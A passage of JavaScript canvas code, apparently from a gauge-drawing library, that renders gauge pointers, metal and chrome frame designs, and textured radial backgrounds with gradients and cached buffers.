0.57); ptrCtx.lineTo(size * 0.509345, size * 0.57); } else { ptrCtx.lineTo(size * 0.490654, size * 0.621495); ptrCtx.lineTo(size * 0.509345, size * 0.621495); } ptrCtx.lineTo(size * 0.509345, size * 0.542056); ptrCtx.bezierCurveTo(size * 0.509345, size * 0.542056, size * 0.509345, size * 0.542056, size * 0.509345, size * 0.542056); ptrCtx.bezierCurveTo(size * 0.528037, size * 0.537383, size * 0.542056, size * 0.518691, size * 0.542056, size * 0.5); ptrCtx.bezierCurveTo(size * 0.542056, size * 0.481308, size * 0.528037, size * 0.462616, size * 0.509345, size * 0.457943); ptrCtx.bezierCurveTo(size * 0.509345, size * 0.457943, size * 0.509345, size * 0.457943, size * 0.509345, size * 0.457943); ptrCtx.closePath(); if (ptrType.type === 'type15') { grad = ptrCtx.createLinearGradient(0, 0, 0, size * 0.63); } else { grad = ptrCtx.createLinearGradient(0, 0, 0, size * 0.621495); } grad.addColorStop(0, ptrColor.medium.getRgbaColor()); grad.addColorStop(0.388888, ptrColor.medium.getRgbaColor()); grad.addColorStop(0.5, ptrColor.light.getRgbaColor()); grad.addColorStop(0.611111, ptrColor.medium.getRgbaColor()); grad.addColorStop(1, ptrColor.medium.getRgbaColor()); ptrCtx.fillStyle = grad; ptrCtx.strokeStyle = ptrColor.dark.getRgbaColor(); ptrCtx.fill(); ptrCtx.stroke(); // Draw the rings ptrCtx.beginPath(); radius = size * 0.065420 / 2; ptrCtx.arc(size * 0.5, size * 0.5, radius, 0, TWO_PI); grad = ptrCtx.createLinearGradient(size * 0.5 - radius, size * 0.5 + radius, 0, size * 0.5 + radius); grad.addColorStop(0, '#e6b35c'); grad.addColorStop(0.01, '#e6b35c'); grad.addColorStop(0.99, '#c48200'); grad.addColorStop(1, '#c48200'); ptrCtx.fillStyle = grad; ptrCtx.closePath(); ptrCtx.fill(); ptrCtx.beginPath(); radius = size * 0.046728 / 2; ptrCtx.arc(size * 0.5, size * 0.5, radius, 0, TWO_PI); grad = ptrCtx.createRadialGradient(size * 0.5, size * 0.5, 0, size * 0.5, size * 0.5, radius); grad.addColorStop(0, '#c5c5c5'); grad.addColorStop(0.19, '#c5c5c5'); grad.addColorStop(0.22, '#000000'); grad.addColorStop(0.8, '#000000'); grad.addColorStop(0.99, '#707070'); grad.addColorStop(1, '#707070'); ptrCtx.fillStyle = grad; ptrCtx.closePath(); ptrCtx.fill(); break; case 'type1': /* falls through */ default: grad = ptrCtx.createLinearGradient(0, size * 0.471962, 0, size * 0.130841); grad.addColorStop(0, ptrColor.veryDark.getRgbaColor()); grad.addColorStop(0.3, ptrColor.medium.getRgbaColor()); grad.addColorStop(0.59, ptrColor.medium.getRgbaColor()); grad.addColorStop(1, ptrColor.veryDark.getRgbaColor()); ptrCtx.fillStyle = grad; ptrCtx.beginPath(); ptrCtx.moveTo(size * 0.518691, size * 0.471962); ptrCtx.bezierCurveTo(size * 0.514018, size * 0.457943, size * 0.509345, size * 0.415887, size * 0.509345, size * 0.401869); ptrCtx.bezierCurveTo(size * 0.504672, size * 0.383177, size * 0.5, size * 0.130841, size * 0.5, size * 0.130841); ptrCtx.bezierCurveTo(size * 0.5, size * 0.130841, size * 0.490654, size * 0.383177, size * 0.490654, size * 0.397196); ptrCtx.bezierCurveTo(size * 0.490654, size * 0.415887, size * 0.485981, size * 0.457943, size * 0.481308, size * 0.471962); ptrCtx.bezierCurveTo(size * 0.471962, size * 0.481308, size * 0.467289, size * 0.490654, size * 0.467289, size * 0.5); ptrCtx.bezierCurveTo(size * 0.467289, size * 0.518691, size * 0.481308, size * 0.532710, size * 0.5, size * 0.532710); ptrCtx.bezierCurveTo(size * 0.518691, size * 0.532710, size * 0.532710, size * 0.518691, size * 0.532710, size * 0.5); ptrCtx.bezierCurveTo(size * 0.532710, size * 0.490654, size * 0.528037, size * 0.481308, size * 0.518691, size * 0.471962); ptrCtx.closePath(); ptrCtx.fill(); break; } // cache buffer drawPointerImage.cache[cacheKey] = ptrBuffer; } ctx.drawImage(drawPointerImage.cache[cacheKey], 0, 0); return this; }; drawPointerImage.cache = {}; var drawRadialFrameImage = function (ctx, frameDesign, centerX, centerY, imageWidth, imageHeight) { var radFBuffer, radFCtx, grad, outerX, innerX, fractions, colors, cacheKey = imageWidth.toString() + imageHeight + frameDesign.design; // check if we have already created and cached this buffer, if not create it if (!drawRadialFrameImage.cache[cacheKey]) { // Setup buffer radFBuffer = createBuffer(imageWidth, imageHeight); radFCtx = radFBuffer.getContext('2d'); // outer gray frame radFCtx.fillStyle = '#848484'; radFCtx.strokeStyle = 'rgba(132, 132, 132, 0.5)'; radFCtx.beginPath(); radFCtx.arc(centerX, centerY, imageWidth / 2, 0, TWO_PI, true); radFCtx.closePath(); radFCtx.fill(); radFCtx.stroke(); radFCtx.beginPath(); radFCtx.arc(centerX, centerY, imageWidth * 0.990654 / 2, 0, TWO_PI, true); radFCtx.closePath(); // main gradient frame switch (frameDesign.design) { case 'metal': grad = radFCtx.createLinearGradient(0, imageWidth * 0.004672, 0, imageHeight * 0.990654); grad.addColorStop(0, '#fefefe'); grad.addColorStop(0.07, 'rgb(210, 210, 210)'); grad.addColorStop(0.12, 'rgb(179, 179, 179)'); grad.addColorStop(1, 'rgb(213, 213, 213)'); radFCtx.fillStyle = grad; radFCtx.fill(); break; case 'brass': grad = radFCtx.createLinearGradient(0, imageWidth * 0.004672, 0, imageHeight * 0.990654); grad.addColorStop(0, 'rgb(249, 243, 155)'); grad.addColorStop(0.05, 'rgb(246, 226, 101)'); grad.addColorStop(0.10, 'rgb(240, 225, 132)'); grad.addColorStop(0.50, 'rgb(90, 57, 22)'); grad.addColorStop(0.90, 'rgb(249, 237, 139)'); grad.addColorStop(0.95, 'rgb(243, 226, 108)'); grad.addColorStop(1, 'rgb(202, 182, 113)'); radFCtx.fillStyle = grad; radFCtx.fill(); break; case 'steel': grad = radFCtx.createLinearGradient(0, imageWidth * 0.004672, 0, imageHeight * 0.990654); grad.addColorStop(0, 'rgb(231, 237, 237)'); grad.addColorStop(0.05, 'rgb(189, 199, 198)'); grad.addColorStop(0.10, 'rgb(192, 201, 200)'); grad.addColorStop(0.50, 'rgb(23, 31, 33)'); grad.addColorStop(0.90, 'rgb(196, 205, 204)'); grad.addColorStop(0.95, 'rgb(194, 204, 203)'); grad.addColorStop(1, 'rgb(189, 201, 199)'); radFCtx.fillStyle = grad; radFCtx.fill(); break; case 'gold': grad = radFCtx.createLinearGradient(0, imageWidth * 0.004672, 0, imageHeight * 0.990654); grad.addColorStop(0, 'rgb(255, 255, 207)'); grad.addColorStop(0.15, 'rgb(255, 237, 96)'); grad.addColorStop(0.22, 'rgb(254, 199, 57)'); grad.addColorStop(0.3, 'rgb(255, 249, 203)'); grad.addColorStop(0.38, 'rgb(255, 199, 64)'); grad.addColorStop(0.44, 'rgb(252, 194, 60)'); grad.addColorStop(0.51, 'rgb(255, 204, 59)'); grad.addColorStop(0.6, 'rgb(213, 134, 29)'); grad.addColorStop(0.68, 'rgb(255, 201, 56)'); grad.addColorStop(0.75, 'rgb(212, 135, 29)'); grad.addColorStop(1, 'rgb(247, 238, 101)'); radFCtx.fillStyle = grad; radFCtx.fill(); break; case 'anthracite': grad = radFCtx.createLinearGradient(0, 0.004672 * imageHeight, 0, 0.995326 * imageHeight); grad.addColorStop(0, 'rgb(118, 117, 135)'); grad.addColorStop(0.06, 'rgb(74, 74, 82)'); grad.addColorStop(0.12, 'rgb(50, 50, 54)'); grad.addColorStop(1, 'rgb(79, 79, 87)'); radFCtx.fillStyle = grad; radFCtx.fill(); break; case 'tiltedGray': grad = radFCtx.createLinearGradient(0.233644 * imageWidth, 0.084112 * imageHeight, 0.81258 * imageWidth, 0.910919 * imageHeight); grad.addColorStop(0, '#ffffff'); grad.addColorStop(0.07, 'rgb(210, 210, 210)'); grad.addColorStop(0.16, 'rgb(179, 179, 179)'); grad.addColorStop(0.33, '#ffffff'); grad.addColorStop(0.55, '#c5c5c5'); grad.addColorStop(0.79, '#ffffff'); grad.addColorStop(1, '#666666'); radFCtx.fillStyle = grad; radFCtx.fill(); break; case 'tiltedBlack': grad = radFCtx.createLinearGradient(0.228971 * imageWidth, 0.079439 * imageHeight, 0.802547 * imageWidth, 0.898591 * imageHeight); grad.addColorStop(0, '#666666'); grad.addColorStop(0.21, '#000000'); grad.addColorStop(0.47, '#666666'); grad.addColorStop(0.99, '#000000'); grad.addColorStop(1, '#000000'); radFCtx.fillStyle = grad; radFCtx.fill(); break; case 'glossyMetal': grad = radFCtx.createRadialGradient(0.5 * imageWidth, 0.5 * imageHeight, 0, 0.5 * imageWidth, 0.5 * imageWidth, 0.5 * imageWidth); grad.addColorStop(0, 'rgb(207, 207, 207)'); grad.addColorStop(0.96, 'rgb(205, 204, 205)'); grad.addColorStop(1, 'rgb(244, 244, 244)'); radFCtx.fillStyle = grad; radFCtx.fill(); radFCtx.beginPath(); radFCtx.arc(0.5 * imageWidth, 0.5 * imageHeight, 0.973962 * imageWidth / 2, 0, TWO_PI); radFCtx.closePath(); grad = radFCtx.createLinearGradient(0, imageHeight - 0.971962 * imageHeight, 0, 0.971962 * imageHeight); grad.addColorStop(0, 'rgb(249, 249, 249)'); grad.addColorStop(0.23, 'rgb(200, 195, 191)'); grad.addColorStop(0.36, '#ffffff'); grad.addColorStop(0.59, 'rgb(29, 29, 29)'); grad.addColorStop(0.76, 'rgb(200, 194, 192)'); grad.addColorStop(1, 'rgb(209, 209, 209)'); radFCtx.fillStyle = grad; radFCtx.fill(); radFCtx.beginPath(); radFCtx.arc(0.5 * imageWidth, 0.5 * imageHeight, 0.869158 * imageWidth / 2, 0, TWO_PI); radFCtx.closePath(); radFCtx.fillStyle = '#f6f6f6'; radFCtx.fill(); radFCtx.beginPath(); radFCtx.arc(0.5 * imageWidth, 0.5 * imageHeight, 0.85 * imageWidth / 2, 0, TWO_PI); radFCtx.closePath(); radFCtx.fillStyle = '#333333'; radFCtx.fill(); break; case 'blackMetal': fractions = [0, 0.125, 0.347222, 0.5, 0.680555, 0.875, 1]; colors = [ new RgbaColor(254, 254, 254, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(153, 153, 153, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(153, 153, 153, 1), new RgbaColor(0, 0, 0, 1), new RgbaColor(254, 254, 254, 1)]; radFCtx.save(); radFCtx.arc(centerX, centerY, imageWidth * 0.990654 / 2, 0, TWO_PI, true); radFCtx.clip(); outerX = imageWidth * 0.495327; innerX = imageWidth * 0.420560; grad = new ConicalGradient(fractions, colors); grad.fillCircle(radFCtx, centerX, centerY, innerX, outerX); // fade outer edge radFCtx.strokeStyle = '#848484'; radFCtx.strokeStyle = 'rgba(132, 132, 132, 0.8)'; radFCtx.beginPath(); radFCtx.lineWidth = imageWidth / 90; radFCtx.arc(centerX, centerY, imageWidth / 2, 0, TWO_PI, true); radFCtx.closePath(); radFCtx.stroke(); radFCtx.restore(); break; case 'shinyMetal': fractions = [0, 0.125, 0.25, 0.347222, 0.5, 0.652777, 0.75, 0.875, 1]; colors = [ new RgbaColor(254, 254, 254, 1), new RgbaColor(210, 210, 210, 1), new RgbaColor(179, 179, 179, 1), new RgbaColor(238, 238, 238, 1), new RgbaColor(160, 160, 160, 1), new RgbaColor(238, 238, 238, 1), new RgbaColor(179, 179, 179, 1), new RgbaColor(210, 210, 210, 1), new RgbaColor(254, 254, 254, 1)]; radFCtx.save(); radFCtx.arc(centerX, centerY, imageWidth * 0.990654 / 2, 0, TWO_PI, true); radFCtx.clip(); outerX = imageWidth * 0.495327; innerX = imageWidth * 0.420560; grad = new ConicalGradient(fractions, colors); grad.fillCircle(radFCtx, centerX, centerY, innerX, outerX); // fade outer edge radFCtx.strokeStyle = '#848484'; radFCtx.strokeStyle = 'rgba(132, 132, 132, 0.8)'; radFCtx.beginPath(); radFCtx.lineWidth = imageWidth / 90; radFCtx.arc(centerX, centerY, imageWidth / 2, 0, TWO_PI, true); radFCtx.closePath(); radFCtx.stroke(); radFCtx.restore(); break; case 'chrome': fractions = [0, 0.09, 0.12, 0.16, 0.25, 0.29, 0.33, 0.38, 0.48, 0.52, 0.63, 0.68, 0.8, 0.83, 0.87, 0.97, 1]; colors = [ new RgbaColor(255, 255, 255, 1), new RgbaColor(255, 255, 255, 1), new RgbaColor(136, 136, 138, 1), new RgbaColor(164, 185, 190, 1), new RgbaColor(158, 179, 182, 1), new RgbaColor(112, 112, 112, 1), new RgbaColor(221, 227, 227, 1), new RgbaColor(155, 176, 179, 1), new RgbaColor(156, 176, 177, 1), new RgbaColor(254, 255, 255, 1), new RgbaColor(255, 255, 255, 1), new RgbaColor(156, 180, 180, 1), new RgbaColor(198, 209, 211, 1), new RgbaColor(246, 248, 247, 1), new RgbaColor(204, 216, 216, 1), new RgbaColor(164, 188, 190, 1), new RgbaColor(255, 255, 255, 1)]; radFCtx.save(); radFCtx.arc(centerX, centerY, imageWidth * 0.990654 / 2, 0, TWO_PI, true); radFCtx.clip(); outerX = imageWidth * 0.495327; innerX = imageWidth * 0.420560; grad = new ConicalGradient(fractions, colors); grad.fillCircle(radFCtx, centerX, centerY, innerX, outerX); // fade outer edge radFCtx.strokeStyle = '#848484'; radFCtx.strokeStyle = 'rgba(132, 132, 132, 0.8)'; radFCtx.beginPath(); radFCtx.lineWidth = imageWidth / 90; radFCtx.arc(centerX, centerY, imageWidth / 2, 0, TWO_PI, true); radFCtx.closePath(); radFCtx.stroke(); radFCtx.restore(); break; } // inner bright frame radFCtx.fillStyle = 'rgb(191, 191, 191)'; radFCtx.beginPath(); radFCtx.arc(centerX, centerY, imageWidth * 0.841121 / 2, 0, TWO_PI, true); radFCtx.closePath(); radFCtx.fill(); // clip out center so it is transparent if the background is not visible radFCtx.globalCompositeOperation = 'destination-out'; // Background ellipse radFCtx.beginPath(); radFCtx.arc(centerX, centerY, imageWidth * 0.83 / 2, 0, TWO_PI, true); radFCtx.closePath(); radFCtx.fill(); // cache the buffer drawRadialFrameImage.cache[cacheKey] = radFBuffer; } ctx.drawImage(drawRadialFrameImage.cache[cacheKey], 0, 0); return this; }; drawRadialFrameImage.cache = {}; var drawLinearFrameImage = function (ctx, frameDesign, imageWidth, imageHeight, vertical) { var frameWidth, linFBuffer, linFCtx, OUTER_FRAME_CORNER_RADIUS, FRAME_MAIN_CORNER_RADIUS, SUBTRACT_CORNER_RADIUS, grad, fractions = [], colors = [], cacheKey = imageWidth.toString() + imageHeight + frameDesign.design + vertical; // check if we have already created and cached this buffer, if not create it if (!drawLinearFrameImage.cache[cacheKey]) { frameWidth = Math.sqrt(imageWidth * imageWidth + imageHeight * imageHeight) * 0.04; frameWidth = Math.ceil(Math.min(frameWidth, (vertical ? imageWidth : imageHeight) * 0.1)); // Setup buffer linFBuffer = createBuffer(imageWidth, imageHeight); linFCtx = linFBuffer.getContext('2d'); // Calculate corner radii if (vertical) { OUTER_FRAME_CORNER_RADIUS = Math.ceil(imageWidth * 0.05); FRAME_MAIN_CORNER_RADIUS = OUTER_FRAME_CORNER_RADIUS - 1; SUBTRACT_CORNER_RADIUS = Math.floor(imageWidth * 0.028571); } else { OUTER_FRAME_CORNER_RADIUS = Math.ceil(imageHeight * 0.05); FRAME_MAIN_CORNER_RADIUS = OUTER_FRAME_CORNER_RADIUS - 1; SUBTRACT_CORNER_RADIUS = Math.floor(imageHeight * 0.028571); } roundedRectangle(linFCtx, 0, 0, imageWidth, imageHeight, OUTER_FRAME_CORNER_RADIUS); linFCtx.fillStyle = '#838383'; linFCtx.fill(); roundedRectangle(linFCtx, 1, 1, imageWidth - 2, imageHeight - 2, FRAME_MAIN_CORNER_RADIUS); // main gradient frame switch (frameDesign.design) { case 'metal': grad = linFCtx.createLinearGradient(0, imageWidth * 0.004672, 0, imageHeight * 0.990654); grad.addColorStop(0, '#fefefe'); grad.addColorStop(0.07, 'rgb(210, 210, 210)'); grad.addColorStop(0.12, 'rgb(179, 179, 179)'); grad.addColorStop(1, 'rgb(213, 213, 213)'); linFCtx.fillStyle = grad; linFCtx.fill(); break; case 'brass': grad = linFCtx.createLinearGradient(0, imageWidth * 0.004672, 0, imageHeight * 0.990654); grad.addColorStop(0, 'rgb(249, 243, 155)'); grad.addColorStop(0.05, 'rgb(246, 226, 101)'); grad.addColorStop(0.10, 'rgb(240, 225, 132)'); grad.addColorStop(0.50, 'rgb(90, 57, 22)'); grad.addColorStop(0.90, 'rgb(249, 237, 139)'); grad.addColorStop(0.95, 'rgb(243, 226, 108)'); grad.addColorStop(1, 'rgb(202, 182, 113)'); linFCtx.fillStyle = grad; linFCtx.fill(); break; case 'steel': grad = linFCtx.createLinearGradient(0, imageWidth * 0.004672, 0, imageHeight * 0.990654); grad.addColorStop(0, 'rgb(231, 237, 237)'); grad.addColorStop(0.05, 'rgb(189, 199, 198)'); grad.addColorStop(0.10, 'rgb(192, 201, 200)'); grad.addColorStop(0.50, 'rgb(23, 31, 33)'); grad.addColorStop(0.90, 'rgb(196, 205, 204)'); grad.addColorStop(0.95, 'rgb(194, 204, 203)'); grad.addColorStop(1, 'rgb(189, 201, 199)'); linFCtx.fillStyle = grad; linFCtx.fill(); break; case 'gold': grad = linFCtx.createLinearGradient(0, imageWidth * 0.004672, 0, imageHeight * 0.990654); grad.addColorStop(0, 'rgb(255, 255, 207)'); grad.addColorStop(0.15, 'rgb(255, 237, 96)'); grad.addColorStop(0.22, 'rgb(254, 199, 57)'); grad.addColorStop(0.3, 'rgb(255, 249, 203)'); grad.addColorStop(0.38, 'rgb(255, 199, 64)'); grad.addColorStop(0.44, 'rgb(252, 194, 60)'); grad.addColorStop(0.51, 'rgb(255, 204, 59)'); grad.addColorStop(0.6, 'rgb(213, 134, 29)'); grad.addColorStop(0.68, 'rgb(255, 201, 56)'); grad.addColorStop(0.75, 'rgb(212, 135, 29)'); grad.addColorStop(1, 'rgb(247, 238, 101)'); linFCtx.fillStyle = grad; linFCtx.fill(); break; case 'anthracite': grad = linFCtx.createLinearGradient(0, 0.004672 * imageHeight, 0, 0.995326 * imageHeight); grad.addColorStop(0, 'rgb(118, 117, 135)'); grad.addColorStop(0.06, 'rgb(74, 74, 82)'); grad.addColorStop(0.12, 'rgb(50, 50, 54)'); grad.addColorStop(1, 'rgb(79, 79, 87)'); linFCtx.fillStyle = grad; linFCtx.fill(); break; case 'tiltedGray': grad = linFCtx.createLinearGradient(0.233644 * imageWidth, 0.084112 * imageHeight, 0.81258 * imageWidth, 0.910919 * imageHeight); grad.addColorStop(0, '#ffffff'); grad.addColorStop(0.07, 'rgb(210, 210, 210)'); grad.addColorStop(0.16, 'rgb(179, 179, 179)'); grad.addColorStop(0.33, '#ffffff'); grad.addColorStop(0.55, '#c5c5c5'); grad.addColorStop(0.79, '#ffffff'); grad.addColorStop(1, '#666666'); linFCtx.fillStyle = grad; linFCtx.fill(); break; case 'tiltedBlack': grad = linFCtx.createLinearGradient(0.228971 * imageWidth, 0.079439 * imageHeight, 0.802547 * imageWidth, 0.898591 * imageHeight); grad.addColorStop(0, '#666666'); grad.addColorStop(0.21, '#000000'); grad.addColorStop(0.47, '#666666'); grad.addColorStop(0.99, '#000000'); grad.addColorStop(1, '#000000'); linFCtx.fillStyle = grad; linFCtx.fill(); break; case 'glossyMetal': // The smaller side is important for the contour gradient // Java version uses a contour gradient for the outer frame rim // but this is only 1 pixel wide, so a plain color fill is essentially // the same. /* var frameMainFractions4 = [ 0, (imageWidth >= imageHeight ? 32 / imageHeight : 32 / imageWidth) * 0.04, 1 ]; var frameMainColors4 = [ new RgbaColor(244, 244, 244, 1), new RgbaColor(207, 207, 207, 1), new RgbaColor(207, 207, 207, 1) ]; var frameMainGradient4 = new contourGradient(linFCtx, 0, 0, imageWidth, imageHeight, frameMainFractions4, frameMainColors4); // Outer frame rim roundedRectangle(linFCtx, 1, 1, imageWidth-2, imageHeight-2, OUTER_FRAME_CORNER_RADIUS); linFCtx.clip(); frameMainGradient4.paintContext(); */ // Outer frame rim // roundedRectangle(linFCtx, 1, 1, imageWidth-2, imageHeight-2, OUTER_FRAME_CORNER_RADIUS); // linFCtx.clip(); // linFCtx.fillStyle = '#cfcfcf'; // linFCtx.fill(); // Main frame // roundedRectangle(linFCtx, 2, 2, imageWidth - 4, imageHeight - 4, FRAME_MAIN_CORNER_RADIUS); // linFCtx.clip(); roundedRectangle(linFCtx, 1, 1, imageWidth - 2, imageHeight - 2, OUTER_FRAME_CORNER_RADIUS); linFCtx.clip(); grad = linFCtx.createLinearGradient(0, 1, 0, imageHeight - 2); // The fractions from the Java version of linear gauge /* grad.addColorStop(0, 'rgb(249, 249, 249)'); grad.addColorStop(0.1, 'rgb(200, 195, 191)'); grad.addColorStop(0.26, '#ffffff'); grad.addColorStop(0.73, 'rgb(29, 29, 29)'); grad.addColorStop(1, 'rgb(209, 209, 209)'); */ // Modified fractions from the radial gauge - looks better imho grad.addColorStop(0, 'rgb(249, 249, 249)'); grad.addColorStop(0.2, 'rgb(200, 195, 191)'); grad.addColorStop(0.3, '#ffffff'); grad.addColorStop(0.6, 'rgb(29, 29, 29)'); grad.addColorStop(0.8, 'rgb(200, 194, 192)'); grad.addColorStop(1, 'rgb(209, 209, 209)'); linFCtx.fillStyle = grad; linFCtx.fill(); // Inner frame bright roundedRectangle(linFCtx, frameWidth - 2, frameWidth - 2, imageWidth - (frameWidth - 2) * 2, imageHeight - (frameWidth - 2) * 2, SUBTRACT_CORNER_RADIUS); linFCtx.clip(); linFCtx.fillStyle = '#f6f6f6'; linFCtx.fill(); // Inner frame dark roundedRectangle(linFCtx, frameWidth - 1, frameWidth - 1, imageWidth - (frameWidth - 1) * 2, imageHeight - (frameWidth - 1) * 2, SUBTRACT_CORNER_RADIUS); linFCtx.clip(); linFCtx.fillStyle = '#333333'; // linFCtx.fill(); break; case 'blackMetal': fractions = [0, 0.125, 0.347222, 0.5, 0.680555, 0.875, 1]; colors = [ new RgbaColor('#FFFFFF'), new RgbaColor('#000000'), new RgbaColor('#999999'), new RgbaColor('#000000'), new RgbaColor('#999999'), new RgbaColor('#000000'), new RgbaColor('#FFFFFF')]; // Set the clip linFCtx.beginPath(); roundedRectangle(linFCtx, 1, 1, imageWidth - 2, imageHeight - 2, OUTER_FRAME_CORNER_RADIUS); linFCtx.closePath(); linFCtx.clip(); grad = new ConicalGradient(fractions, colors); grad.fillRect(linFCtx, imageWidth / 2, imageHeight / 2, imageWidth, imageHeight, frameWidth, frameWidth); break; case 'shinyMetal': fractions = [0, 0.125, 0.25, 0.347222, 0.5, 0.652777, 0.75, 0.875, 1]; colors = [ new RgbaColor('#FFFFFF'), new RgbaColor('#D2D2D2'), new RgbaColor('#B3B3B3'), new RgbaColor('#EEEEEE'), new RgbaColor('#A0A0A0'), new RgbaColor('#EEEEEE'), new RgbaColor('#B3B3B3'), new RgbaColor('#D2D2D2'), new RgbaColor('#FFFFFF')]; // Set the clip linFCtx.beginPath(); roundedRectangle(linFCtx, 1, 1, imageWidth - 2, imageHeight - 2, OUTER_FRAME_CORNER_RADIUS); linFCtx.closePath(); linFCtx.clip(); grad = new ConicalGradient(fractions, colors); grad.fillRect(linFCtx, imageWidth / 2, imageHeight / 2, imageWidth, imageHeight, frameWidth, frameWidth); break; case 'chrome': fractions = [0, 0.09, 0.12, 0.16, 0.25, 0.29, 0.33, 0.38, 0.48, 0.52, 0.63, 0.68, 0.8, 0.83, 0.87, 0.97, 1]; colors = [ new RgbaColor('#FFFFFF'), new RgbaColor('#FFFFFF'), new RgbaColor('#888890'), new RgbaColor('#A4B9BE'), new RgbaColor('#9EB3B6'), new RgbaColor('#707070'), new RgbaColor('#DDE3E3'), new RgbaColor('#9BB0B3'), new RgbaColor('#9CB0B1'), new RgbaColor('#FEFFFF'), new RgbaColor('#FFFFFF'), new RgbaColor('#9CB4B4'), new RgbaColor('#C6D1D3'), new RgbaColor('#F6F8F7'), new RgbaColor('#CCD8D8'), new RgbaColor('#A4BCBE'), new RgbaColor('#FFFFFF')]; // Set the clip linFCtx.beginPath(); roundedRectangle(linFCtx, 1, 1, imageWidth - 2, imageHeight - 2, OUTER_FRAME_CORNER_RADIUS); linFCtx.closePath(); linFCtx.clip(); grad = new ConicalGradient(fractions, colors); grad.fillRect(linFCtx, imageWidth / 2, imageHeight / 2, imageWidth, imageHeight, frameWidth, frameWidth); break; } roundedRectangle(linFCtx, frameWidth, frameWidth, imageWidth - (frameWidth) * 2, imageHeight - (frameWidth) * 2, SUBTRACT_CORNER_RADIUS); linFCtx.fillStyle = 'rgb(192, 192, 192)'; // clip out the center of the frame for transparent backgrounds linFCtx.globalCompositeOperation = 'destination-out'; roundedRectangle(linFCtx, frameWidth, frameWidth, imageWidth - frameWidth * 2, imageHeight - frameWidth * 2, SUBTRACT_CORNER_RADIUS); linFCtx.fill(); // cache the buffer drawLinearFrameImage.cache[cacheKey] = linFBuffer; } ctx.drawImage(drawLinearFrameImage.cache[cacheKey], 0, 0); return this; }; drawLinearFrameImage.cache = {}; var drawRadialBackgroundImage = function (ctx, backgroundColor, centerX, centerY, imageWidth, imageHeight) { var radBBuffer, radBCtx, grad, fractions, colors, backgroundOffsetX = imageWidth * 0.831775 / 2, mono, textureColor, texture, radius, turnRadius, stepSize, end, i, cacheKey = imageWidth.toString() + imageHeight + backgroundColor.name; // check if we have already created and cached this buffer, if not create it if (!drawRadialBackgroundImage.cache[cacheKey]) { // Setup buffer radBBuffer = createBuffer(imageWidth, imageHeight); radBCtx = radBBuffer.getContext('2d'); // Background ellipse radBCtx.beginPath(); radBCtx.arc(centerX, centerY, backgroundOffsetX, 0, TWO_PI, true); radBCtx.closePath(); // If the backgroundColor is a texture fill it with the texture instead of the gradient if (backgroundColor.name === 'CARBON' || backgroundColor.name === 'PUNCHED_SHEET' || backgroundColor.name === 'BRUSHED_METAL' || backgroundColor.name === 'BRUSHED_STAINLESS') { if (backgroundColor.name === 'CARBON') { radBCtx.fillStyle = radBCtx.createPattern(carbonBuffer, 'repeat'); radBCtx.fill(); } if (backgroundColor.name === 'PUNCHED_SHEET') { radBCtx.fillStyle = radBCtx.createPattern(punchedSheetBuffer, 'repeat'); radBCtx.fill(); } // Add another inner shadow to make the look more realistic grad = radBCtx.createLinearGradient(backgroundOffsetX, 0, imageWidth - backgroundOffsetX, 0); grad.addColorStop(0, 'rgba(0, 0, 0, 0.25)'); grad.addColorStop(0.5, 'rgba(0, 0, 0, 0)'); grad.addColorStop(1, 'rgba(0, 0, 0, 0.25)'); radBCtx.fillStyle = grad; radBCtx.beginPath(); radBCtx.arc(centerX, centerY, backgroundOffsetX, 0, TWO_PI, true); radBCtx.closePath(); radBCtx.fill(); if (backgroundColor.name === 'BRUSHED_METAL' || backgroundColor.name === 'BRUSHED_STAINLESS') { mono = (backgroundColor.name === 'BRUSHED_METAL' ? true : false); textureColor = parseInt(backgroundColor.gradientStop.getHexColor().substr(-6), 16); texture = brushedMetalTexture(textureColor, 5, 0.1, mono, 0.5); radBCtx.fillStyle = radBCtx.createPattern(texture.fill(0, 0, imageWidth, imageHeight), 'no-repeat'); radBCtx.fill(); } } else if (backgroundColor.name === 'STAINLESS' || backgroundColor.name === 'TURNED') { // Define the fractions of the conical gradient paint fractions = [0, 0.03, 0.10, 0.14, 0.24, 0.33, 0.38, 0.5, 0.62, 0.67, 0.76, 0.81, 0.85, 0.97, 1]; // Define the colors of the conical gradient paint colors = [new RgbaColor('#FDFDFD'), new RgbaColor('#FDFDFD'), new RgbaColor('#B2B2B4'), new RgbaColor('#ACACAE'), new RgbaColor('#FDFDFD'), new RgbaColor('#8E8E8E'), new RgbaColor('#8E8E8E'), new RgbaColor('#FDFDFD'), new RgbaColor('#8E8E8E'), new RgbaColor('#8E8E8E'), new RgbaColor('#FDFDFD'), new RgbaColor('#ACACAE'), new RgbaColor('#B2B2B4'), new RgbaColor('#FDFDFD'), new RgbaColor('#FDFDFD')]; grad = new ConicalGradient(fractions, colors); grad.fillCircle(radBCtx, centerX, centerY, 0, backgroundOffsetX); if (backgroundColor.name === 'TURNED') { // Define the turning radius radius = backgroundOffsetX; turnRadius = radius * 0.55; // Step size proporational to radius stepSize = RAD_FACTOR * (500 / radius); // Save before we start radBCtx.save(); // restrict the turnings to the desired area radBCtx.beginPath(); radBCtx.arc(centerX, centerY, radius, 0, TWO_PI); radBCtx.closePath(); radBCtx.clip(); // set the style for the turnings radBCtx.lineWidth = 0.5; end = TWO_PI - stepSize * 0.3; // Step the engine round'n'round for (i = 0 ; i < end; i += stepSize) { // draw a 'turn' radBCtx.strokeStyle = 'rgba(240, 240, 255, 0.25)'; radBCtx.beginPath(); radBCtx.arc(centerX + turnRadius, centerY, turnRadius, 0, TWO_PI); radBCtx.stroke(); // rotate the 'piece' a fraction to draw 'shadow' radBCtx.translate(centerX, centerY); radBCtx.rotate(stepSize * 0.3); radBCtx.translate(-centerX, -centerY); // draw a 'turn' radBCtx.strokeStyle = 'rgba(25, 10, 10, 0.1)'; radBCtx.beginPath(); radBCtx.arc(centerX + turnRadius, centerY, turnRadius, 0, TWO_PI); radBCtx.stroke(); // now rotate on to the next 'scribe' position minus the 'fraction' radBCtx.translate(centerX, centerY); radBCtx.rotate(stepSize - stepSize * 0.3); radBCtx.translate(-centerX, -centerY); } // Restore canvas now we are done radBCtx.restore(); } } else { grad = radBCtx.createLinearGradient(0, imageWidth * 0.084112, 0, backgroundOffsetX * 2); grad.addColorStop(0, backgroundColor.gradientStart.getRgbaColor()); grad.addColorStop(0.4, backgroundColor.gradientFraction.getRgbaColor()); grad.addColorStop(1, backgroundColor.gradientStop.getRgbaColor()); radBCtx.fillStyle = grad; radBCtx.fill(); } // Inner shadow grad = radBCtx.createRadialGradient(centerX, centerY, 0, centerX, 